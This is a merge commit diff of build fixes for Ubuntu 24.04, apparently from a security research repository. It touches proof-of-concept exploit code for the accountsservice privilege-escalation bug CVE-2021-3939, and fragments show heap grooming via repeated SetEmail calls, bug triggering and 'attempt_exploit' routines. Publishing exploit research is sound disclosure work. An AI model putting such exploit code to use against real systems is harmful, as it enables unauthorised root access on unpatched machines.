Merge pull request #854 from kevinbackhouse/fix-build

Fix some build failures that happen on Ubuntu 24.04

Author: kevinbackhouse

SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse

@@ -433,7 +433,7 @@ class Run {
 
     // This is declared outside of the loop because we want to remember the
     // the last value that it's set to.
-    char email[64] = "[email protected]";
+    char email[128] = "[email protected]";
 
     // Try to occupy the chunk.
     for (size_t i = 0; i < batch_size1; i++) {

SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop

@@ -420,7 +420,7 @@ class AccountsHandler : public DBusHandler {
   // call the SetEmail method with the same email address as last time, so
   // that we trigger a polkit check that will get approved, but without
   // jumbling the memory any further.
-  char email_[64] = "[email protected]";
+  char email_[128] = "[email protected]";
 
 private:
   int quit() {
@@ -719,7 +719,7 @@ class AccountsHandler : public DBusHandler {
                                 // we don't want.
                                 accounts_set_property(
                                   my_objectpath_.c_str(), "SetEmail", email_,
-                                  [this](const DBusMessage&, bool) -> int {
+                                  [](const DBusMessage&, bool) -> int {
                                     return 0;
                                   }
                                 );
@@ -806,13 +806,13 @@ int main(int argc, char* argv[]) {
       EPollManager manager(loop);
 
       DBusAuthHandler* polkit_auth_handler =
-        new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager));
+        new DBusAuthHandler(info.uid_, new PolkitHandler(info, manager));
       if (loop.add_handler(polkit_auth_handler) < 0) {
         throw Error(_s("Failed to add PolkitHandler"));
       }
 
       DBusAuthHandler* accounts_auth_handler =
-        new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager));
+        new DBusAuthHandler(info.uid_, new AccountsHandler(info, manager));
       if (loop.add_handler(accounts_auth_handler) < 0) {
         throw Error(_s("Failed to add AccountsHandler"));
       }

SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler

@@ -428,7 +428,7 @@ class AccountsHandlerBase : public DBusHandler {
   // call the SetEmail method with the same email address as last time, so
   // that we trigger a polkit check that will get approved, but without
   // jumbling the memory any further.
-  char email_[64] = "[email protected]";
+  char email_[128] = "[email protected]";
 
 public:
   AccountsHandlerBase(
@@ -611,7 +611,7 @@ class AccountsHandler : public AccountsHandlerBase {
     fflush(stderr);
   }
 
-  int attempt_exploit() {
+  int attempt_exploit() override {
     choose_batch_size();
 
     return findUserByID(
@@ -637,7 +637,7 @@ class AccountsHandler : public AccountsHandlerBase {
 
             accounts_set_property(
               my_objectpath_.c_str(), "SetEmail", email_,
-              [this](const DBusMessage&, bool) -> int {
+              [](const DBusMessage&, bool) -> int {
                 return 0;
               }
             );
@@ -767,7 +767,7 @@ class TriggerBugHandler : public AccountsHandlerBase {
     );
   }
 
-  int attempt_exploit() {
+  int attempt_exploit() override {
     choose_batch_size();
 
     const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
@@ -868,19 +868,19 @@ int main(int argc, char* argv[]) {
         // In the child process, we just continually trigger the bug at
         // 1-second intervals.
         DBusAuthHandler* trigger_bug_auth_handler =
-          new DBusAuthHandler(loop, info.uid_, new TriggerBugHandler(info, manager));
+          new DBusAuthHandler(info.uid_, new TriggerBugHandler(info, manager));
         if (loop.add_handler(trigger_bug_auth_handler) < 0) {
           throw Error(_s("Failed to add TriggerBugHandler"));
         }
       } else {
         DBusAuthHandler* polkit_auth_handler =
-          new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager));
+          new DBusAuthHandler(info.uid_, new PolkitHandler(info, manager));
         if (loop.add_handler(polkit_auth_handler) < 0) {
           throw Error(_s("Failed to add PolkitHandler"));
         }
 
         DBusAuthHandler* accounts_auth_handler =
-          new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager));
+          new DBusAuthHandler(info.uid_, new AccountsHandler(info, manager));
         if (loop.add_handler(accounts_auth_handler) < 0) {
           throw Error(_s("Failed to add AccountsHandler"));
         }